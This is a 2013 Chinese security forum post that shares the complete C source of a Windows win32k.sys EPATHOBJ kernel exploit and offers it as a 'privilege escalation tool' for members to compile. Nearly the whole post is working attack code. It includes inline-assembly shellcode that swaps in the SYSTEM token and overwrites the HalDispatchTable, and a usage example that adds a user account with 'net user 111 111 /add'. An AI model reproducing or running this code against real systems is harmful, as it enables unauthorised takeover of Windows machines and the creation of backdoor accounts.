找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 6666|回复: 0

.EPATHOBJ 0day exploit最新提权工具

[复制链接]
发表于 2013-6-7 19:39:31 | 显示全部楼层 |阅读模式
发表于 3 天前 |只看该作者 |倒序浏览 各位机友自己去编译吧
) E/ c( I3 J* m1 O* J# c# Q9 ]
原帖内容如下:www.t00ls.net: R& ^0 M3 k( A0 ^9 D
Tavis Ormandy 在做压力测试的时候发现的这个漏洞. - 专注网络安全4 q: B7 R2 U' s( v: c
5 I! K3 F2 h: q
see:
http://blog.cmpxchg8b.com/
http://seclists.org/fulldisclosure/2013/May/118
01.#include <stdio.h>

02.#include <STDARG.H>

03.#include <stddef.h>

04.#include <windows.h>

05.//#include <ntstatus.h>

06.

07.#pragma comment(lib, "gdi32")

08.#pragma comment(lib, "kernel32")

09.#pragma comment(lib, "user32")

10.

11.#define MAX_POLYPOINTS (8192 * 3)

12.#define MAX_REGIONS 8192

13.#define CYCLE_TIMEOUT 10000

14.

15.#pragma comment(linker, "/SECTION:.text,ERW")

16.

17.//

18.// win32k!EPATHOBJ::pprFlattenRec uninitialized Next pointer testcase.

19.//

20.// Tavis Ormandy <taviso () cmpxchg8b com>, March 2013

21.//

22.

23.POINT       Points[MAX_POLYPOINTS];

24.BYTE        PointTypes[MAX_POLYPOINTS];

25.HRGN        Regions[MAX_REGIONS];

26.ULONG       NumRegion = 0;

27.HANDLE      Mutex;

28.

29.// Log levels.

30.typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL;

31.

32.VOID LogInit();

33.VOID LogRelase();

34.BOOL LogMessage(LEVEL Level, PCHAR Format, ...);

35.

36.// Copied from winddi.h from the DDK

37.#define PD_BEGINSUBPATH   0x00000001

38.#define PD_ENDSUBPATH     0x00000002

39.#define PD_RESETSTYLE     0x00000004

40.#define PD_CLOSEFIGURE    0x00000008

41.#define PD_BEZIERS        0x00000010

42.

43.#define ENABLE_SWITCH_DESKTOP  1

44.

45.typedef struct  _POINTFIX

46.{

47.    ULONG x;

48.    ULONG y;

49.} POINTFIX, *PPOINTFIX;

50.

51.// Approximated from reverse engineering.

52.typedef struct _PATHRECORD {

53.    struct _PATHRECORD *next;

54.    struct _PATHRECORD *prev;

55.    ULONG               flags;

56.    ULONG               count;

57.    POINTFIX            points[4];

58.} PATHRECORD, *PPATHRECORD;

59.

60.PPATHRECORD PathRecord;

61.PATHRECORD  ExploitRecord = {0};

62.PPATHRECORD ExploitRecordExit;

63.

64.typedef struct _RTL_PROCESS_MODULE_INFORMATION {

65.    HANDLE Section;                 // Not filled in

66.    PVOID MappedBase;

67.    PVOID ImageBase;

68.    ULONG ImageSize;

69.    ULONG Flags;

70.    USHORT LoadOrderIndex;

71.    USHORT InitOrderIndex;

72.    USHORT LoadCount;

73.    USHORT OffsetToFileName;

74.    UCHAR  FullPathName[ 256 ];

75.} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;

76.

77.typedef struct _RTL_PROCESS_MODULES {

78.    ULONG NumberOfModules;

79.    RTL_PROCESS_MODULE_INFORMATION Modules[ 1 ];

80.} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;

81.

82.typedef ULONG ( __stdcall *NtQueryIntervalProfile_ ) ( ULONG, PULONG );

83.typedef ULONG ( __stdcall *NtQuerySystemInformation_ ) ( ULONG, PVOID, ULONG, PULONG );

84.typedef ULONG ( __stdcall *NtAllocateVirtualMemory_ ) ( HANDLE, PVOID, ULONG, PULONG, ULONG, ULONG );

85.typedef ULONG ( __stdcall *NtFreeVirtualMemory_)( HANDLE, PVOID, PULONG, ULONG);

86.

87.NtQueryIntervalProfile_  NtQueryIntervalProfile;

88.NtAllocateVirtualMemory_ NtAllocateVirtualMemory;

89.NtQuerySystemInformation_ NtQuerySystemInformation;

90.NtFreeVirtualMemory_ NtFreeVirtualMemory;

91.ULONG    PsInitialSystemProcess, PsReferencePrimaryToken,

92.     PsGetThreadProcess, WriteToHalDispatchTable, FixAddress;

93.

94.void _declspec(naked) ShellCode()

95.{

96.    __asm

97.    {

98.      pushad

99.      pushfd

100.      mov esi,PsReferencePrimaryToken

101.FindTokenOffset:

102.      lodsb

103.      cmp al, 8Dh;

104.      jnz FindTokenOffset

105.      mov edi,[esi+1]

106.      mov esi,PsInitialSystemProcess

107.      mov esi,[esi]

108.      push fs:[124h]

109.      mov eax,PsGetThreadProcess

110.      call eax

111.      add esi, edi

112.      push esi

113.      add edi, eax

114.      movsd

115.      

116.      ;add token ref count.

117.      pop esi

118.      mov esi, [esi]

119.      and esi, 0xFFFFFFF8

120.      lea eax, [esi-0x18]

121.      mov DWORD PTR [eax], 0x016B00B5

122.      ;fix the haltable

123.      mov eax, WriteToHalDispatchTable

124.      mov ecx, FixAddress

125.      mov [ecx], 0xC3

126.      mov DWORD PTR [eax], ecx

127.

128.      popfd

129.      popad

130.      ;set ret code for NtQueryIntervalProfile

131.      mov eax, [esp+0xc]

132.      mov DWORD PTR [eax+4], 1

133.      mov DWORD PTR [eax+8], 0xC0000018

134.      xor eax, eax

135.      ret

136.    }

137.}

138.

139.DWORD WINAPI WatchdogThread(LPVOID Parameter)

140.{

141.  //

142.    // This routine waits for a mutex object to timeout, then patches the

143.    // compromised linked list to point to an exploit. We need to do this.

144.    //

145.

146.  LogMessage(L_INFO, "Watchdog thread %d waiting on Mutex", GetCurrentThreadId());

147.  

148.    if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) {

149.   

150.    //

151.        // It looks like the main thread is stuck in a call to FlattenPath(),

152.        // because the kernel is spinning in EPATHOBJ::bFlatten(). We can clean

153.        // up, and then patch the list to trigger our exploit.

154.        //

155.

156.    while (NumRegion--)

157.            DeleteObject(Regions[NumRegion]);

158.   

159.        LogMessage(L_ERROR, "InterlockedExchange(0x%08x, 0x%08x);", &PathRecord->next, &ExploitRecord);

160.   

161.        InterlockedExchange((PLONG)&PathRecord->next, (LONG)&ExploitRecord);

162.   

163.    } else {

164.        LogMessage(L_ERROR, "Mutex object did not timeout, list not patched");

165.    }

166.  

167.    return 0;

168.}

169.

170.void wellcome()

171.{

172.  printf("\t\tthe win32k.sys EPATHOBJ 0day exploit\n");

173.  printf("*******************************************************************\n");

174.  printf("***\texploit by:<progmboy> <programmeboy@gmail.com>\t\t***\n");

175.  printf("***\t0day finder:<Tavis Ormandy> <taviso@cmpxchg8b.com>\t***\n");

176.  printf("***\ttested system:xp/2003/win7/2008 (*32bit*)\t\t***\n");

177.  printf("*******************************************************************\n");

178.}

179.

180.void usage()

181.{

182.  printf("\nusage:\n<app> <cmd> <parameter>\n");

183.  printf("example:\napp.exe net \"user 111 111 /add\"");

184.}

185.

186.BOOL

187.FindAFixAddress(

188.  ULONG NtoskrnlBase)

189.{

190.  FixAddress = NtoskrnlBase + FIELD_OFFSET(IMAGE_DOS_HEADER, e_res2);

191.  LogMessage(L_INFO, "Get FixAddress --> 0x%08x", FixAddress);

192.  return TRUE;

193.

194.}

195.

196.// 0x602464FF; /*jmp esp+0x60*/

197.// 0x51C3686A; /*push 0; ret*/

198.DWORD CheckMagicDword()

199.{

200.  OSVERSIONINFOEX OSVer;

201.  DWORD dwMagic = 0;

202.

203.    OSVer.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);

204.    if(GetVersionEx((OSVERSIONINFO *)&OSVer)){

205.    switch(OSVer.dwMajorVersion){

206.    case 5:

207.      dwMagic = 0x602464FF;

208.      break;

209.    case 6:

210.      dwMagic = 0x642464FF;

211.      break;

212.    default:

213.      dwMagic = 0;

214.    }

215.  }

216.  return dwMagic;

217.}

218.

219.

220.int main(int argc, char **argv)

221.{

222.    HANDLE      Thread;

223.    HDC         Device;

224.    ULONG       Size;

225.    ULONG       PointNum;

226.  int nret = 0;

227.  

228.  DWORD MAGIC_DWORD = CheckMagicDword();

229.    ULONG AllocSize = 0x1000, status, NtoskrnlBase;

230.  RTL_PROCESS_MODULES  module;

231.  HMODULE ntoskrnl = NULL;

232.  DWORD dwFix;

233.  ULONG Address = MAGIC_DWORD & 0xFFFFF000;

234.  LONG ret;

235.  BOOL bRet = FALSE;

236.#ifdef ENABLE_SWITCH_DESKTOP

237.  HDESK hDesk;

238.#endif

239.    HMODULE  ntdll = GetModuleHandle( "ntdll.dll" );

240.  

241.  wellcome();

242.

243.  if (argc < 2){

244.    usage();

245.    return -1;

246.  }

247.

248.  if (!MAGIC_DWORD){

249.    LogMessage(L_ERROR, "unsupported system version\n");

250.    return -1;

251.  }

252.

253.  LogInit();

254.

255.  NtQueryIntervalProfile    =  (NtQueryIntervalProfile_)GetProcAddress( ntdll ,"NtQueryIntervalProfile" );

256.    NtAllocateVirtualMemory    =  (NtAllocateVirtualMemory_)GetProcAddress( ntdll ,"NtAllocateVirtualMemory" );

257.    NtQuerySystemInformation  =  (NtQuerySystemInformation_)GetProcAddress( ntdll ,"NtQuerySystemInformation" );

258.  NtFreeVirtualMemory =  (NtFreeVirtualMemory_)GetProcAddress( ntdll ,"NtFreeVirtualMemory" );

259.    if ( !NtQueryIntervalProfile || !NtAllocateVirtualMemory ||

260.     !NtQuerySystemInformation || !NtFreeVirtualMemory){

261.    LogMessage(L_ERROR, "get function address error\n");

262.    LogRelase();

263.    return -1;

264.  }

265.  

266.  //

267.  // try to allocate memory.

268.  //

269.

270.  while (TRUE){

271.    ret = NtAllocateVirtualMemory( (HANDLE)-1, &Address, 0, &AllocSize, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );

272.    if(ret < 0){

273.      MEMORY_BASIC_INFORMATION meminfo;

274.      LogMessage(L_ERROR, "allocate memory error code 0x%08x", ret);

275.      LogMessage(L_INFO, "try to free memory");

276.      if(VirtualQuery((LPVOID)Address, &meminfo, sizeof(meminfo))){

277.        LogMessage(L_INFO, "meminfo state %d %d\n", meminfo.State, meminfo.Protect);

278.      }

279.      ret = NtFreeVirtualMemory((HANDLE)-1, &Address, &AllocSize, MEM_RELEASE);

280.      if (ret < 0){

281.        LogMessage(L_ERROR, "free memory error code 0x%08x", ret);

282.        LogRelase();

283.        return -1;

284.      }

285.    }else{

286.      break;

287.    }

288.  }

289.  

290.  //

291.  // get the kernel info

292.  //

293.

294.    status = NtQuerySystemInformation( 11, &module, sizeof(RTL_PROCESS_MODULES), NULL);//SystemModuleInformation 11

295.    if ( status != 0xC0000004 ){

296.    LogMessage(L_ERROR, "NtQuerySystemInformation error code:0x%08x\n", status);

297.        LogRelase();

298.    return -1;

299.  }

300.  

301.    NtoskrnlBase     =  (ULONG)module.Modules[0].ImageBase;

302.  

303.    //

304.    // 把ntoskrnl.exe加载进来

305.    //

306.  

307.    ntoskrnl = LoadLibraryA( (LPCSTR)( module.Modules[0].FullPathName + module.Modules[0].OffsetToFileName ) );

308.    if (ntoskrnl == NULL){

309.    LogMessage(L_ERROR, "LoadLibraryA error code:0x%08x\n", GetLastError());

310.        LogRelase();

311.    return -1;

312.  }

313.   

314.    //

315.    // 计算实际地址

316.    //

317.  

318.    WriteToHalDispatchTable =  (ULONG)GetProcAddress(ntoskrnl,"HalDispatchTable") - (ULONG)ntoskrnl + NtoskrnlBase + 4;

319.    PsInitialSystemProcess =  (ULONG)GetProcAddress(ntoskrnl,"PsInitialSystemProcess") - (ULONG)ntoskrnl + NtoskrnlBase;

320.    PsReferencePrimaryToken = (ULONG)GetProcAddress(ntoskrnl,"PsReferencePrimaryToken") - (ULONG)ntoskrnl + NtoskrnlBase;

321.    PsGetThreadProcess =  (ULONG)GetProcAddress(ntoskrnl,"PsGetThreadProcess") - (ULONG)ntoskrnl + NtoskrnlBase;

322.  

323.  if(!FindAFixAddress(NtoskrnlBase)){

324.    LogMessage(L_ERROR, "Can not Find A Fix Address\n");

325.    nret = -1;

326.    goto __end;

327.  }

328.

329.  //

330.    // Create our PATHRECORD in user space we will get added to the EPATHOBJ

331.    // pathrecord chain.

332.    //

333.

334.  PathRecord = (PPATHRECORD)VirtualAlloc(NULL,

335.                              sizeof(PATHRECORD),

336.                              MEM_COMMIT | MEM_RESERVE,

337.                              PAGE_EXECUTE_READWRITE);

338.

339.    LogMessage(L_INFO, "Alllocated userspace PATHRECORD () %p", PathRecord);

340.  

341.  //

342.    // Initialize with recognizable debugging values.

343.    //

344.

345.  FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC);

346.

347.    PathRecord->next    = PathRecord;

348.    PathRecord->prev    = (PPATHRECORD)(0x42424242);

349.  

350.  //

351.    // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from

352.    // EPATHOBJ::bFlatten(). We don't set it so that we can trigger an infinite

353.    // loop in EPATHOBJ::bFlatten().

354.    //

355.

356.  PathRecord->flags   = 0;

357.

358.    LogMessage(L_INFO, "  ->next  @ %p", PathRecord->next);

359.    LogMessage(L_INFO, "  ->prev  @ %p", PathRecord->prev);

360.    LogMessage(L_INFO, "  ->flags @ %u", PathRecord->flags);

361.  

362.  ExploitRecordExit = (PPATHRECORD)MAGIC_DWORD;

363.  ExploitRecordExit->next = NULL;

364.  ExploitRecordExit->next = NULL;

365.  ExploitRecordExit->flags = PD_BEGINSUBPATH;

366.  ExploitRecordExit->count = 0;

367.  

368.

369.  ExploitRecord.next  = (PPATHRECORD)MAGIC_DWORD;

370.    ExploitRecord.prev  = (PPATHRECORD)WriteToHalDispatchTable;

371.    ExploitRecord.flags = PD_BEZIERS | PD_BEGINSUBPATH;

372.  ExploitRecord.count = 4;

373.  

374.    LogMessage(L_INFO, "Creating complex bezier path with %x", (ULONG)(PathRecord) >> 4);

375.  

376.  //

377.    // Generate a large number of Belier Curves made up of pointers to our

378.    // PATHRECORD object.

379.    //

380.

381.  for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {

382.        Points[PointNum].x      = (ULONG)(PathRecord) >> 4;

383.        Points[PointNum].y      = (ULONG)(PathRecord) >> 4;

384.        PointTypes[PointNum]    = PT_BEZIERTO;

385.    }

386.

387.  //

388.    // Switch to a dedicated desktop so we don't spam the visible desktop with

389.    // our Lines (Not required, just stops the screen from redrawing slowly).

390.    //

391.#ifdef ENABLE_SWITCH_DESKTOP

392.  hDesk = CreateDesktop( "DontPanic",

393.              NULL,

394.              NULL,

395.              0,

396.              GENERIC_ALL,

397.               NULL);

398.  if (hDesk){

399.    SetThreadDesktop(hDesk);

400.  }

401.#endif

402.  

403.  while (TRUE){

404.

405.    BOOL bBreak = FALSE;

406.

407.    Mutex = CreateMutex(NULL, TRUE, NULL);

408.    if (!Mutex){

409.      LogMessage(L_INFO, "Allocated %u HRGN objects", NumRegion);

410.      nret = -1;

411.      goto __end;

412.    }

413.   

414.    //

415.    // Get a handle to this Desktop.

416.    //

417.

418.    Device = GetDC(NULL);

419.   

420.    //

421.    // Spawn a thread to cleanup

422.    //

423.

424.    Thread = CreateThread(NULL, 0, WatchdogThread, NULL, 0, NULL);

425.   

426.    LogMessage(L_INFO, "start CreateRoundRectRgn");

427.   

428.    //

429.    // We need to cause a specific AllocObject() to fail to trigger the

430.    // exploitable condition. To do this, I create a large number of rounded

431.    // rectangular regions until they start failing. I don't think it matters

432.    // what you use to exhaust paged memory, there is probably a better way.

433.    //

434.    // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on

435.    // failure. Seriously, do some damn QA Microsoft, wtf.

436.    //

437.

438.    for (Size = 1 << 26; Size; Size >>= 1) {

439.      while (TRUE){

440.        HRGN hm = CreateRoundRectRgn(0, 0, 1, Size, 1, 1);

441.        if (!hm){

442.          break;

443.        }

444.        if (NumRegion < MAX_REGIONS){

445.          Regions[NumRegion] = hm;

446.          NumRegion++;

447.        }else{

448.          NumRegion = 0;

449.        }

450.      }

451.    }

452.

453.    LogMessage(L_INFO, "Allocated %u HRGN objects", NumRegion);

454.

455.    LogMessage(L_INFO, "Flattening curves...");

456.   

457.    //

458.    // Begin filling the free list with our points.

459.    //

460.   

461.    dwFix = *(PULONG)ShellCode;

462.

463.    for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) {

464.      BeginPath(Device);

465.      PolyDraw(Device, Points, PointTypes, PointNum);

466.      EndPath(Device);

467.      FlattenPath(Device);

468.      FlattenPath(Device);

469.      

470.      //

471.      // call the function to exploit.

472.      //

473.

474.      ret = NtQueryIntervalProfile(2, (PULONG)ShellCode);

475.      

476.      //

477.      // we will set the status with 0xC0000018 in ring0 shellcode.

478.      //

479.

480.      if (*(PULONG)ShellCode == 0xC0000018){

481.        bRet = TRUE;

482.        break;

483.      }

484.      

485.      //

486.      // fix

487.      //

488.      

489.      *(PULONG)ShellCode = dwFix;

490.

491.      EndPath(Device);

492.    }

493.   

494.    if (bRet){

495.      LogMessage(L_INFO, "Exploit ok run command");

496.      ShellExecute( NULL, "open", argv[1], argc > 2 ? argv[2] : NULL, NULL, SW_SHOW);

497.      bBreak = TRUE;

498.    }else{

499.      LogMessage(L_INFO, "No luck, cleaning up. and try again..");

500.    }

501.   

502.    //

503.    // If we reach here, we didn't trigger the condition. Let the other thread know.

504.    //

505.

506.    ReleaseMutex(Mutex);

507.   

508.    ReleaseDC(NULL, Device);

509.    WaitForSingleObject(Thread, INFINITE);

510.

511.    if (bBreak){

512.      break;

513.    }

514.

515.  }

516.__end:

517.  LogRelase();

518.  if (ntoskrnl)

519.    FreeLibrary(ntoskrnl);

520.#ifdef ENABLE_SWITCH_DESKTOP

521.  if (hDesk){

522.    CloseHandle(hDesk);

523.  }

524.#endif

525.    return nret;

526.}

527.

528.CRITICAL_SECTION gCSection;

529.

530.VOID LogInit()

531.{

532.  InitializeCriticalSection(&gCSection);

533.}

534.

535.VOID LogRelase()

536.{

537.  DeleteCriticalSection(&gCSection);

538.}

539.

540.//

541.// A quick logging routine for debug messages.

542.//

543.

544.BOOL LogMessage(LEVEL Level, PCHAR Format, ...)

545.{

546.    CHAR Buffer[1024] = {0};

547.    va_list Args;

548.  

549.  EnterCriticalSection(&gCSection);

550.

551.    va_start(Args, Format);

552.    _snprintf(Buffer, sizeof(Buffer), Format, Args);

553.    va_end(Args);

554.

555.    switch (Level) {

556.        case L_DEBUG: fprintf(stdout, "[?] %s\n", Buffer); break;

557.        case L_INFO:  fprintf(stdout, "[+] %s\n", Buffer); break;

558.        case L_WARN:  fprintf(stderr, "
  • %s\n", Buffer); break;

    559.        case L_ERROR: fprintf(stderr, "[!] %s\n", Buffer); break;

    560.    }

    561.  

    562.    fflush(stdout);

    563.    fflush(stderr);

    564.  

    565.  LeaveCriticalSection(&gCSection);

    566.

    567.    return TRUE;

    568.}

  • 回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    快速回复 返回顶部 返回列表